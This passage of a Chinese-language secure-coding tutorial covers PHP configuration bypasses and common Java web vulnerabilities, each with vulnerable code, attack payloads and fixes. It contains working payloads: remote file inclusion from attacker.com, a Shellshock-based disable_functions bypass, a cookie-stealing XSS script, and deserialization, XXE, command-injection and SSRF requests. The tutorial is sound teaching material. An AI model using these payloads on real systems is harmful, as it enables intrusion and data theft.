@app.route('/test')
def test():
    name = request.args.get('name')
    template = env.from_string("Hello, {{ name }}!")
    return template.render(name=name)
```

## 21. PHP配置安全漏洞

### 1. open_basedir绕过技术

#### 漏洞原理
open_basedir是PHP的一个安全配置选项，用于限制PHP只能访问指定的目录。然而，存在多种方法可以绕过这个限制，从而访问未授权的文件或目录。

**危害**：
- 读取敏感文件（如配置文件、密码文件）
- 执行恶意代码
- 绕过安全限制
- 服务器接管

#### 代码片段
```php
// 文件：src/api/test.php
<?php
// 设置open_basedir限制
ini_set('open_basedir', dirname(__FILE__));

// 尝试读取受限文件
$file = '/etc/passwd';
try {
    echo file_get_contents($file);
} catch (Exception $e) {
    echo "Error: " . $e->getMessage();
}
?>
```

#### 攻击Payload

##### 1. 使用realpath函数爆破目录
```php
<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
set_error_handler('isexists');
$dir = '/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i < strlen($chars); $i++) {
    $file = $dir . $chars[$i] . '<><';
    realpath($file);
}
function isexists($errno, $errstr) {
    $regexp = '/File\((.*)\) is not within/';
    preg_match($regexp, $errstr, $matches);
    if (isset($matches[1])) {
        printf("%s <br/>", $matches[1]);
    }
}
?>
```

##### 2. 使用SplFileInfo::getRealPath函数
```php
<?php
ini_set('open_basedir', dirname(__FILE__));

// 使用SplFileInfo::getRealPath绕过open_basedir
$file = new SplFileInfo('/etc/passwd');
try {
    echo $file->getRealPath();
} catch (Exception $e) {
    echo "Error: " . $e->getMessage();
}
?>
```

#### 攻击链分析
1. **攻击者发现open_basedir限制**：通过尝试访问受限文件发现限制
2. **构造绕过请求**：使用realpath或SplFileInfo::getRealPath等函数
3. **爆破目录结构**：通过错误信息推断文件是否存在
4. **访问敏感文件**：找到目标文件后进行访问

#### 修复建议
```php
// ✅ 安全：正确配置open_basedir
// 1. 在php.ini中设置严格的open_basedir
// open_basedir = "/var/www/html:/tmp"

// 2. 避免使用可能绕过open_basedir的函数
// 或对这些函数的输入进行严格验证

// 3. 定期更新PHP版本，修复已知的open_basedir绕过漏洞
```

### 2. allow_url_fopen和allow_url_include安全影响

#### 漏洞原理
allow_url_fopen和allow_url_include是PHP的两个配置选项，控制是否允许PHP通过URL访问远程文件。如果配置不当，可能导致远程代码执行漏洞。

**危害**：
- 远程文件包含（RFI）
- 远程代码执行
- 服务器接管
- 数据泄露

#### 代码片段
```php
// 文件：src/api/test.php
<?php
// 危险配置：允许远程文件包含
ini_set('allow_url_fopen', '1');
ini_set('allow_url_include', '1');

// 远程文件包含漏洞
$file = $_GET['file'];
include($file);
?>
```

#### 攻击Payload
```bash
# 远程文件包含攻击
curl "http://example.com/test.php?file=http://attacker.com/shell.txt"

# 使用data伪协议执行代码
curl "http://example.com/test.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscyAtbGEpOyA/Pg=="
```

#### 攻击链分析
1. **攻击者发现危险配置**：通过信息收集发现allow_url_fopen和allow_url_include开启
2. **构造远程包含请求**：指定包含远程恶意文件或使用data伪协议
3. **执行恶意代码**：服务器包含并执行恶意代码
4. **获取服务器控制权**：通过恶意代码执行系统命令、上传Webshell等

#### 修复建议
```php
// ✅ 安全：禁用危险配置
// 1. 在php.ini中禁用远程文件操作
// allow_url_fopen = Off
// allow_url_include = Off

// 2. 使用白名单验证文件包含
$allowed_files = array('index', 'user', 'admin');
$file = $_GET['file'];

if (in_array($file, $allowed_files)) {
    include('files/'.$file.'.php');
} else {
    include('files/index.php');
}

// 3. 对用户输入进行严格验证
$file = $_GET['file'];
// 只允许本地文件，不允许URL
if (strpos($file, '://') === false) {
    // 进一步验证文件路径
    $real_path = realpath($file);
    $allowed_dir = realpath('files/');
    if (strpos($real_path, $allowed_dir) === 0) {
        include($real_path);
    }
}
```

### 3. disable_functions绕过技术

#### 漏洞原理
disable_functions是PHP的一个安全配置选项，用于禁用危险函数。然而，存在多种方法可以绕过这个限制，从而执行系统命令。

**危害**：
- 执行任意系统命令
- 读取敏感文件
- 服务器接管
- 持久化攻击

#### 代码片段
```php
// 文件：src/api/test.php
<?php
// 禁用危险函数
ini_set('disable_functions', 'system,exec,shell_exec,passthru,popen,proc_open');

// 尝试执行系统命令
try {
    system('ls -la');
} catch (Exception $e) {
    echo "Error: " . $e->getMessage();
}
?>
```

#### 攻击Payload

##### 1. 使用mail函数结合bash破壳漏洞（CVE-2014-6271）
```php
<?php
function shellshock($cmd) {
    $tmp = tempnam(".","data");
    putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
    mail("a@127.0.0.1","","","","-bv"); // -bv 不实际发送邮件
    $output = @file_get_contents($tmp);
    @unlink($tmp);
    if($output != "") return $output;
    else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>
```

##### 2. 使用LD_PRELOAD绕过
```php
<?php
// 上传恶意共享库
// 然后通过putenv和mail函数执行
putenv("LD_PRELOAD=/tmp/evil.so");
mail("a@localhost", "", "", "");
?>
```

#### 攻击链分析
1. **攻击者发现disable_functions限制**：通过尝试执行危险函数发现限制
2. **构造绕过请求**：使用mail函数结合bash破壳漏洞或LD_PRELOAD等技术
3. **执行系统命令**：绕过限制执行系统命令
4. **获取服务器控制权**：通过系统命令执行进一步操作

#### 修复建议
```php
// ✅ 安全：正确配置disable_functions
// 1. 在php.ini中禁用所有危险函数
// disable_functions = system,exec,shell_exec,passthru,popen,proc_open,eval,assert

// 2. 定期更新系统和PHP版本，修复已知漏洞

// 3. 使用安全的Web服务器配置
// 如使用chroot环境隔离PHP进程

// 4. 对用户输入进行严格验证，避免恶意代码执行
```

## 22. Java常见漏洞示例

### 1. Java SQL注入漏洞

#### 漏洞原理
Java SQL注入漏洞是由于应用程序直接将用户输入拼接到SQL语句中，没有使用参数化查询或预处理语句，导致攻击者可以构造恶意SQL语句执行未授权操作。

**危害**：
- 未授权访问数据库数据
- 获取敏感信息（如用户密码、信用卡信息等）
- 修改数据库数据
- 执行数据库管理员操作
- 绕过认证

#### 代码片段
```java
// 文件：src/main/java/com/example/servlet_test/sqltestServlet.java
package com.example.servlet_test;

import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import java.io.IOException;
import java.io.PrintWriter;
import java.sql.*;

@WebServlet(name = "sqltestServlet", value = "/sqltestServlet")
public class sqltestServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        String DB_URL = "jdbc:mysql://localhost:3306/test";
        String USER = "root";
        String PASS = "root";
        
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        
        String id = request.getParameter("id");
        
        try {
            Class.forName("com.mysql.jdbc.Driver");
            Connection conn = DriverManager.getConnection(DB_URL, USER, PASS);
            Statement stmt = conn.createStatement();
            String sql = "SELECT id, name, url FROM websites where id=" + id;
            out.println(sql);
            ResultSet rs = stmt.executeQuery(sql);
            
            while(rs.next()) {
                int sid = rs.getInt("id");
                String name = rs.getString("name");
                String url = rs.getString("url");
                
                out.println("<br>ID: " + sid);
                out.println("<br>Name: " + name);
                out.println("<br>URL: " + url);
            }
            
            rs.close();
            stmt.close();
            conn.close();
        } catch (Exception e) {
            e.printStackTrace();
            out.println("Error: " + e.getMessage());
        }
    }
}
```

#### 攻击Payload
```bash
# 获取所有用户数据
curl "http://example.com/sqltestServlet?id=1 OR 1=1"

# 获取数据库信息
curl "http://example.com/sqltestServlet?id=1 UNION SELECT table_name, column_name, 3 FROM information_schema.columns WHERE table_schema=database()"
```

#### 攻击链分析
1. **攻击者构造恶意请求**：通过GET请求提交包含SQL注入payload的id参数
2. **服务器处理请求**：直接将用户输入拼接到SQL语句中
3. **执行恶意SQL**：数据库执行包含恶意代码的SQL语句
4. **获取敏感信息**：攻击者获取数据库中的敏感信息或执行未授权操作

#### 修复建议
```java
// ✅ 安全：使用预处理语句
package com.example.servlet_test;

import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import java.io.IOException;
import java.io.PrintWriter;
import java.sql.*;

@WebServlet(name = "sqltestServlet", value = "/sqltestServlet")
public class sqltestServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        String DB_URL = "jdbc:mysql://localhost:3306/test";
        String USER = "root";
        String PASS = "root";
        
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        
        String id = request.getParameter("id");
        
        try {
            Class.forName("com.mysql.jdbc.Driver");
            Connection conn = DriverManager.getConnection(DB_URL, USER, PASS);
            String sql = "SELECT id, name, url FROM websites where id=?";
            PreparedStatement ps = conn.prepareStatement(sql);
            ps.setString(1, id);
            ResultSet rs = ps.executeQuery();
            
            while(rs.next()) {
                int sid = rs.getInt("id");
                String name = rs.getString("name");
                String url = rs.getString("url");
                
                out.println("<br>ID: " + sid);
                out.println("<br>Name: " + name);
                out.println("<br>URL: " + url);
            }
            
            rs.close();
            ps.close();
            conn.close();
        } catch (Exception e) {
            e.printStackTrace();
            out.println("Error: " + e.getMessage());
        }
    }
}

// ✅ 安全：使用强制类型转换
int getid = Integer.parseInt(request.getParameter("id"));
String sql = "SELECT id, name, url FROM websites where id=" + getid;
```

### 2. Java文件上传漏洞

#### 漏洞原理
Java文件上传漏洞是由于应用程序未对上传文件的类型、大小、内容进行严格验证，导致攻击者可以上传恶意文件（如Webshell）到服务器。

**危害**：
- 远程代码执行
- 服务器控制权
- 数据泄露
- 持久化攻击

#### 代码片段
```java
// 文件：src/main/java/com/example/servlet_test/uploadServlet.java
package com.example.servlet_test;

import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import java.io.File;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.List;

import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;

@WebServlet(name = "uploadServlet", value = "/uploadServlet")
public class uploadServlet extends HttpServlet {
    private static final long serialVersionUID = 1L;

    // 上传文件存储目录
    private static final String UPLOAD_DIRECTORY = "upload";

    // 上传配置
    private static final int MEMORY_THRESHOLD   = 1024 * 1024 * 3;  // 3MB
    private static final int MAX_FILE_SIZE      = 1024 * 1024 * 40; // 40MB
    private static final int MAX_REQUEST_SIZE   = 1024 * 1024 * 50; // 50MB

    /**
     * 上传数据及保存文件
     */
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        // 检测是否为多媒体上传
        if (!ServletFileUpload.isMultipartContent(request)) {
            // 如果不是则停止
            PrintWriter writer = response.getWriter();
            writer.println("Error: 表单必须包含 enctype=multipart/form-data");
            writer.flush();
            return;
        }

        // 配置上传参数
        DiskFileItemFactory factory = new DiskFileItemFactory();
        // 设置内存临界值 - 超过后将产生临时文件并存储于临时目录中
        factory.setSizeThreshold(MEMORY_THRESHOLD);
        // 设置临时存储目录
        factory.setRepository(new File(System.getProperty("java.io.tmpdir")));

        ServletFileUpload upload = new ServletFileUpload(factory);

        // 设置最大文件上传值
        upload.setFileSizeMax(MAX_FILE_SIZE);

        // 设置最大请求值 (包含文件和表单数据)
        upload.setSizeMax(MAX_REQUEST_SIZE);

        // 中文处理
        upload.setHeaderEncoding("UTF-8");

        // 构造临时路径来存储上传的文件
        // 这个路径相对当前应用的目录
        String uploadPath = request.getServletContext().getRealPath("./") + File.separator + UPLOAD_DIRECTORY;

        // 如果目录不存在则创建
        File uploadDir = new File(uploadPath);
        if (!uploadDir.exists()) {
            uploadDir.mkdir();
        }

        try {
            // 解析请求的内容提取文件数据
            @SuppressWarnings("unchecked")
            List<FileItem> formItems = upload.parseRequest(request);

            if (formItems != null && formItems.size() > 0) {
                // 迭代表单数据
                for (FileItem item : formItems) {
                    // 处理不在表单中的字段
                    if (!item.isFormField()) {
                        PrintWriter writer = response.getWriter();
                        String fileName = new File(item.getName()).getName();
                        String filePath = uploadPath + File.separator + fileName;
                        File storeFile = new File(filePath);
                        // 在控制台输出文件的上传路径
                        System.out.println(filePath);
                        // 保存文件到硬盘
                        item.write(storeFile);
                        writer.println("message: success");
                        writer.println(fileName);
                    }
                }
            }
        } catch (Exception ex) {
            request.setAttribute("message",
                    "错误信息: " + ex.getMessage());
        }
    }
}
```

#### 攻击Payload
```bash
# 上传Webshell
curl -X POST "http://example.com/uploadServlet" \
  -F "file=@shell.jsp"

# 访问Webshell
curl "http://example.com/upload/shell.jsp?cmd=ls%20-la"
```

#### 攻击链分析
1. **攻击者准备恶意文件**：创建包含恶意代码的JSP文件
2. **上传恶意文件**：通过文件上传表单上传恶意文件
3. **服务器存储文件**：未验证文件类型，直接存储恶意文件
4. **访问恶意文件**：攻击者访问上传的恶意文件，执行恶意代码

#### 修复建议
```java
// ✅ 安全：验证文件类型
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    // 检测是否为多媒体上传
    if (!ServletFileUpload.isMultipartContent(request)) {
        PrintWriter writer = response.getWriter();
        writer.println("Error: 表单必须包含 enctype=multipart/form-data");
        writer.flush();
        return;
    }

    // 配置上传参数
    DiskFileItemFactory factory = new DiskFileItemFactory();
    factory.setSizeThreshold(MEMORY_THRESHOLD);
    factory.setRepository(new File(System.getProperty("java.io.tmpdir")));

    ServletFileUpload upload = new ServletFileUpload(factory);
    upload.setFileSizeMax(MAX_FILE_SIZE);
    upload.setSizeMax(MAX_REQUEST_SIZE);
    upload.setHeaderEncoding("UTF-8");

    String uploadPath = request.getServletContext().getRealPath("./") + File.separator + UPLOAD_DIRECTORY;
    File uploadDir = new File(uploadPath);
    if (!uploadDir.exists()) {
        uploadDir.mkdir();
    }

    try {
        List<FileItem> formItems = upload.parseRequest(request);

        if (formItems != null && formItems.size() > 0) {
            for (FileItem item : formItems) {
                if (!item.isFormField()) {
                    PrintWriter writer = response.getWriter();
                    String fileName = new File(item.getName()).getName();
                    
                    // 验证文件类型（白名单）
                    String[] allowedExtensions = {"jpg", "jpeg", "png", "gif"};
                    String extension = fileName.substring(fileName.lastIndexOf(".") + 1).toLowerCase();
                    boolean isValid = false;
                    for (String ext : allowedExtensions) {
                        if (ext.equals(extension)) {
                            isValid = true;
                            break;
                        }
                    }
                    
                    if (!isValid) {
                        writer.println("Error: 不允许的文件类型");
                        return;
                    }
                    
                    // 生成随机文件名
                    String randomName = java.util.UUID.randomUUID().toString() + "." + extension;
                    String filePath = uploadPath + File.separator + randomName;
                    File storeFile = new File(filePath);
                    item.write(storeFile);
                    writer.println("message: success");
                    writer.println(randomName);
                }
            }
        }
    } catch (Exception ex) {
        request.setAttribute("message", "错误信息: " + ex.getMessage());
    }
}

// ✅ 安全：上传目录禁止脚本执行
// 1. 将上传目录放在web目录之外
// 2. 配置Web服务器，禁止上传目录执行脚本
```

### 3. Java命令执行漏洞

#### 漏洞原理
Java命令执行漏洞是由于应用程序直接将用户输入拼接到系统命令中并执行，导致攻击者可以执行任意系统命令。

**危害**：
- 执行任意系统命令
- 读取敏感文件
- 修改系统配置
- 获取服务器权限
- 控制整个服务器

#### 代码片段
```java
// 文件：src/main/java/com/example/servlet_test/execServlet.java
package com.example.servlet_test;

import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import java.io.*;

@WebServlet(name = "execServlet", value = "/execServlet")
public class execServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        String ip = request.getParameter("ip");
        String [] cmd={"cmd","/C","ping " + ip};
        try
        {
            Process proc =Runtime.getRuntime().exec(cmd);
            InputStream fis=proc.getInputStream();
            InputStreamReader isr=new InputStreamReader(fis);
            BufferedReader br=new BufferedReader(isr);
            String line=null;
            PrintWriter out = response.getWriter();
            while((line=br.readLine())!=null)
            {
                out.println(line);
            }
        }catch (IOException e)
        {
            e.printStackTrace();
        }
    }
}
```

#### 攻击Payload
```bash
# 执行系统命令
curl "http://example.com/execServlet?ip=127.0.0.1%26dir"

# 读取敏感文件
curl "http://example.com/execServlet?ip=127.0.0.1%26type%20C:\\Windows\\win.ini"
```

#### 攻击链分析
1. **攻击者构造恶意请求**：通过GET请求提交包含恶意命令的ip参数
2. **服务器处理请求**：将用户输入拼接到系统命令中
3. **执行恶意命令**：服务器执行包含恶意代码的系统命令
4. **获取敏感信息**：攻击者获取命令执行结果，如文件列表、敏感文件内容等

#### 修复建议
```java
// ✅ 安全：使用白名单验证
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    String ip = request.getParameter("ip");
    
    // 验证IP地址格式
    if (!isValidIP(ip)) {
        PrintWriter out = response.getWriter();
        out.println("Error: 无效的IP地址");
        return;
    }
    
    // 直接执行ping命令，不拼接用户输入
    String [] cmd={"cmd","/C","ping", ip};
    try
    {
        Process proc =Runtime.getRuntime().exec(cmd);
        InputStream fis=proc.getInputStream();
        InputStreamReader isr=new InputStreamReader(fis);
        BufferedReader br=new BufferedReader(isr);
        String line=null;
        PrintWriter out = response.getWriter();
        while((line=br.readLine())!=null)
        {
            out.println(line);
        }
    }catch (IOException e)
    {
        e.printStackTrace();
    }
}

// 验证IP地址格式
private boolean isValidIP(String ip) {
    String pattern = "^((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$";
    return ip.matches(pattern);
}
```

### 4. Java反序列化漏洞

#### 漏洞原理
Java反序列化漏洞是由于应用程序直接反序列化用户可控的数据，没有验证反序列化的类，导致攻击者可以构造恶意序列化数据，在反序列化过程中执行任意代码。

**危害**：
- 执行任意Java代码
- 读取敏感文件
- 修改系统配置
- 获取服务器权限
- 控制整个服务器

#### 代码片段
```java
// 文件：src/main/java/com/example/servlet_test/exec2Servlet.java
package com.example.servlet_test;

import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.util.List;

@WebServlet(name = "exec2Servlet", value = "/exec2Servlet")
public class exec2Servlet extends HttpServlet {
    @Override
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
        try {
            List<Integer> pra = (List)ois.readObject();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }
        ois.close();
    }
}
```

#### 攻击Payload
```bash
# 使用ysoserial生成恶意序列化数据
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections9 "nslookup x.xxx.ceye.io" > 1.bin

# 发送恶意数据
curl -X POST "http://example.com/exec2Servlet" \
  --data-binary @1.bin
```

#### 攻击链分析
1. **攻击者构造恶意序列化数据**：使用ysoserial等工具生成包含恶意代码的序列化数据
2. **发送恶意数据**：通过HTTP请求将恶意数据发送到服务器
3. **服务器反序列化数据**：使用ObjectInputStream.readObject()反序列化数据
4. **执行恶意代码**：反序列化过程中执行恶意代码，获取服务器控制权

#### 修复建议
```java
// ✅ 安全：重写ObjectInputStream，验证反序列化的类
package com.example.servlet_test;

import java.io.*;
import java.util.List;

public class AntObjectInputStream extends ObjectInputStream {
    public AntObjectInputStream(InputStream inputStream) throws IOException {
        super(inputStream);
    }

    /**
     * 只允许反序列化List class
     */
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        if (!desc.getName().equals(List.class.getName())) {
            throw new InvalidClassException(
                    "Unauthorized deserialization attempt",
                    desc.getName());
        }
        return super.resolveClass(desc);
    }
}

// 使用AntObjectInputStream替代ObjectInputStream
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    AntObjectInputStream ois = new AntObjectInputStream(request.getInputStream());
    try {
        ois.readObject();
    } catch (ClassNotFoundException e) {
        e.printStackTrace();
    }
    ois.close();
}

// ✅ 安全：使用ValidatingObjectInputStream
// 添加Apache Commons IO依赖
// <dependency>
//     <groupId>commons-io</groupId>
//     <artifactId>commons-io</artifactId>
//     <version>2.11.0</version>
// </dependency>

// 使用ValidatingObjectInputStream
import org.apache.commons.io.serialization.ValidatingObjectInputStream;

@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    ValidatingObjectInputStream ois = new ValidatingObjectInputStream(request.getInputStream());
    try {
        // 只允许List类的反序列化操作
        ois.accept(List.class);
        ois.readObject();
    } catch (ClassNotFoundException e) {
        e.printStackTrace();
    }
    ois.close();
}
```

### 5. Java XXE漏洞

#### 漏洞原理
Java XXE（XML External Entity）漏洞是由于应用程序在解析XML时没有禁用外部实体，导致攻击者可以构造恶意XML文件，读取服务器上的敏感文件或执行其他恶意操作。

**危害**：
- 读取敏感文件（如配置文件、密码文件）
- 执行网络请求（SSRF）
- 拒绝服务攻击
- 绕过访问控制

#### 代码片段
```java
// 文件：src/main/java/com/example/servlet_test/xxeServlet.java
package com.example.servlet_test;

import org.apache.commons.io.IOUtils;
import org.w3c.dom.Document;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.InputSource;

import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import java.io.IOException;
import java.io.PrintWriter;
import java.io.StringReader;
import java.nio.charset.StandardCharsets;

@WebServlet(name = "xxeServlet", value = "/xxeServlet")
public class xxeServlet extends HttpServlet {
    @Override
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        request.setCharacterEncoding("utf-8");
        response.setCharacterEncoding("utf-8");
        PrintWriter out = response.getWriter();
        try {
            String xml_con = IOUtils.toString(request.getInputStream(), StandardCharsets.UTF_8);
            out.println(xml_con);

            DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
            DocumentBuilder db = dbf.newDocumentBuilder();
            StringReader sr = new StringReader(xml_con);
            InputSource is = new InputSource(sr);
            Document document = db.parse(is);  // parse xml

            // 遍历xml节点name和value
            StringBuffer buf = new StringBuffer();
            NodeList rootNodeList = document.getChildNodes();
            for (int i = 0; i < rootNodeList.getLength(); i++) {
                Node rootNode = rootNodeList.item(i);
                NodeList child = rootNode.getChildNodes();
                for (int j = 0; j < child.getLength(); j++) {
                    Node node = child.item(j);
                    buf.append(node.getNodeName() + ": " + node.getTextContent() + "\n");
                }
            }
            sr.close();
            out.println(buf.toString());
        } catch (Exception e) {
            out.println(e);
        }
    }
}
```

#### 攻击Payload
```xml
<!-- 文件读取 -->
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini" >]>
<foo>&xxe;</foo>

<!-- DNS查询（用于验证漏洞存在） -->
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://1.xxx.ceye.io/a.dtd">
%remote;
]>
<comment>
  <text>test&send;</text>
</comment>
```

#### 攻击链分析
1. **攻击者构造恶意XML**：创建包含外部实体的XML文件
2. **发送恶意XML**：通过HTTP请求将恶意XML发送到服务器
3. **服务器解析XML**：使用DocumentBuilder.parse()解析XML
4. **执行外部实体**：解析器执行外部实体，读取文件或发送网络请求

#### 修复建议
```java
// ✅ 安全：禁用外部实体
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    request.setCharacterEncoding("utf-8");
    response.setCharacterEncoding("utf-8");
    PrintWriter out = response.getWriter();
    try {
        String xml_con = IOUtils.toString(request.getInputStream(), StandardCharsets.UTF_8);
        out.println(xml_con);

        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
        // 禁用外部实体
        dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
        dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
        dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
        dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
        dbf.setXIncludeAware(false);
        dbf.setExpandEntityReferences(false);
        
        DocumentBuilder db = dbf.newDocumentBuilder();
        StringReader sr = new StringReader(xml_con);
        InputSource is = new InputSource(sr);
        Document document = db.parse(is);

        // 遍历xml节点name和value
        StringBuffer buf = new StringBuffer();
        NodeList rootNodeList = document.getChildNodes();
        for (int i = 0; i < rootNodeList.getLength(); i++) {
            Node rootNode = rootNodeList.item(i);
            NodeList child = rootNode.getChildNodes();
            for (int j = 0; j < child.getLength(); j++) {
                Node node = child.item(j);
                buf.append(node.getNodeName() + ": " + node.getTextContent() + "\n");
            }
        }
        sr.close();
        out.println(buf.toString());
    } catch (Exception e) {
        out.println(e);
    }
}
```

### 6. Java XSS漏洞

#### 漏洞原理
Java XSS漏洞是由于应用程序直接将用户输入输出到HTML页面中，没有进行HTML转义，导致攻击者可以在页面中注入恶意脚本。

**危害**：
- 会话劫持
- 数据窃取
- 钓鱼攻击
- 网页篡改
- 键盘记录

#### 代码片段
```java
// 文件：src/main/java/com/example/servlet_test/HelloServlet.java
package com.example.servlet_test;

import java.io.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;

@WebServlet(name = "helloServlet", value = "/hello")
public class HelloServlet extends HttpServlet {
    private String message;

    public void init() {
        message = "Hello World!";
    }

    public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
        response.setContentType("text/html");
        String name = request.getParameter("name");
        PrintWriter out = response.getWriter();
        out.println("<html><body>");
        out.println("<h1>" + message + name  +"</h1>");
        out.println("</body></html>");
    }

    public void destroy() {
    }
}
```

#### 攻击Payload
```bash
# 基本XSS
curl "http://example.com/hello?name=<script>alert('XSS')</script>"

# 会话劫持
curl "http://example.com/hello?name=<script>var img = new Image(); img.src = 'http://attacker.com/steal.php?cookie=' + document.cookie;</script>"
```

#### 攻击链分析
1. **攻击者构造恶意请求**：通过GET请求提交包含恶意脚本的name参数
2. **服务器处理请求**：直接将用户输入输出到HTML页面中
3. **浏览器渲染页面**：浏览器执行页面中的恶意脚本
4. **执行恶意操作**：恶意脚本执行会话劫持、数据窃取等操作

#### 修复建议
```java
// ✅ 安全：HTML转义
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
    response.setContentType("text/html");
    String name = request.getParameter("name");
    PrintWriter out = response.getWriter();
    out.println("<html><body>");
    out.println("<h1>" + message + escapeHtml(name)  +"</h1>");
    out.println("</body></html>");
}

// HTML转义函数
private String escapeHtml(String input) {
    if (input == null) {
        return "";
    }
    return input
        .replace("&", "&amp;")
        .replace("<", "&lt;")
        .replace(">", "&gt;")
        .replace("\"", "&quot;")
        .replace("'", "&#039;");
}
```

### 7. Java SSRF漏洞

#### 漏洞原理
Java SSRF（服务器端请求伪造）漏洞是由于应用程序未验证用户输入的URL，直接使用URLConnection或HttpURLConnection发起请求，导致攻击者可以构造恶意URL，让服务器发起未授权的请求。

**危害**：
- 访问内网资源
- 探测内网服务
- 读取本地文件
- 执行远程代码（在特定条件下）

#### 代码片段
```java
// 文件：src/main/java/com/example/servlet_test/ssrfServlet.java
package com.example.servlet_test;

import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLConnection;

@WebServlet(name = "ssrfServlet", value = "/ssrfServlet")
public class ssrfServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        String url = request.getParameter("url");
        String htmlContent;
        PrintWriter writer = response.getWriter();
        URL u = new URL(url);
        try {
            URLConnection urlConnection = u.openConnection();
            BufferedReader base = new BufferedReader(new InputStreamReader(urlConnection.getInputStream(), "UTF-8"));
            StringBuffer html = new StringBuffer();
            while ((htmlContent = base.readLine()) != null) {
                html.append(htmlContent);
            }
            base.close();

            writer.println(html);
            writer.flush();

        } catch (Exception e) {
            e.printStackTrace();
            writer.println("请求失败");
            writer.flush();
        }
    }
}
```

#### 攻击Payload
```bash
# 访问内网服务
curl "http://example.com/ssrfServlet?url=http://127.0.0.1:8080"

# 读取本地文件
curl "http://example.com/ssrfServlet?url=file:///etc/passwd"

# 探测内网端口
curl "http://example.com/ssrfServlet?url=http://192.168.1.1:22"
```

#### 攻击链分析
1. **攻击者构造恶意URL**：创建指向内网资源或本地文件的URL
2. **发送恶意URL**：通过HTTP请求将恶意URL发送到服务器
3. **服务器发起请求**：使用URLConnection.openConnection()发起请求
4. **获取资源内容**：服务器获取并返回请求的资源内容

#### 修复建议
```java
// ✅ 安全：验证URL
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    String url = request.getParameter("url");
    PrintWriter writer = response.getWriter();
    
    // 验证URL
    if (!isValidUrl(url)) {
        writer.println("Error: 无效的URL");
        return;
    }
    
    String htmlContent;
    URL u = new URL(url);
    try {
        URLConnection urlConnection = u.openConnection();
        BufferedReader base = new BufferedReader(new InputStreamReader(urlConnection.getInputStream(), "UTF-8"));
        StringBuffer html = new StringBuffer();
        while ((htmlContent = base.readLine()) != null) {
            html.append(htmlContent);
        }
        base.close();

        writer.println(html);
        writer.flush();

    } catch (Exception e) {
        e.printStackTrace();
        writer.println("请求失败");
        writer.flush();
    }
}

// 验证URL
private boolean isValidUrl(String url) {
    try {
        URL u = new URL(url);
        // 只允许http和https协议
        if (!u.getProtocol().equals("http") && !u.getProtocol().equals("https")) {
            return false;
        }
        
        // 禁止访问内网IP
        String host = u.getHost();
        if (host.equals("localhost") || host.equals("127.0.0.1") || host.startsWith("192.168.") || host.startsWith("10.") || host.startsWith("172.16.")) {
            return false;
        }
        
        return true;
    } catch (Exception e) {
        return false;
    }
}
```

